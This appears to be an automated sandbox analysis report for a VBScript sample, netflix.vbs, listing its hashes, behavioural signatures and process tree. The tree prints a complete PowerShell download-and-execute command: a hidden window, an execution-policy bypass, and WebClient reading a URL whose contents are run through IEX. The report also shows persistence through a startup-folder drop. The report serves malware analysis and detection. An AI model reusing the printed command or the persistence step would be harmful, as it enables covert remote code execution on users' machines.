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Analysis
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max time kernel
145s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
14/10/2023, 01:05
Static task
static1
Behavioral task
behavioral1
Sample
netflix.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
netflix.vbs
Resource
win10v2004-20230915-en
General
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Target
netflix.vbs
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Size
1000B
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MD5
3e4a20fd9f6d3e595eba5ab59c868cb6
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SHA1
660ba0a49f0d9db61c1054c78abbce232bc8401c
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SHA256
70d3f1296d41d516e04e53e58f812207d5f675ebb1e9686ed4b8552cb062544b
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SHA512
85838fd9828c8fc91f0985c8f3e3b1a3c03425e3aba5517104dcbd96c63115545758a625b59bf2d6beaf225758e8af375fc774d6cc612ebef9a126732c200dd8
Malware Config
Extracted
https://www.netflix.com/
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 40 4124 powershell.exe 41 4124 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netflix.vbs WScript.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netflix.vbs WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4124 powershell.exe 4124 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4124 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4164 wrote to memory of 928 4164 WScript.exe 85 PID 4164 wrote to memory of 928 4164 WScript.exe 85 PID 928 wrote to memory of 4124 928 cmd.exe 87 PID 928 wrote to memory of 4124 928 cmd.exe 87 PID 928 wrote to memory of 4124 928 cmd.exe 87
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\netflix.vbs"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull2⤵
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4124
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82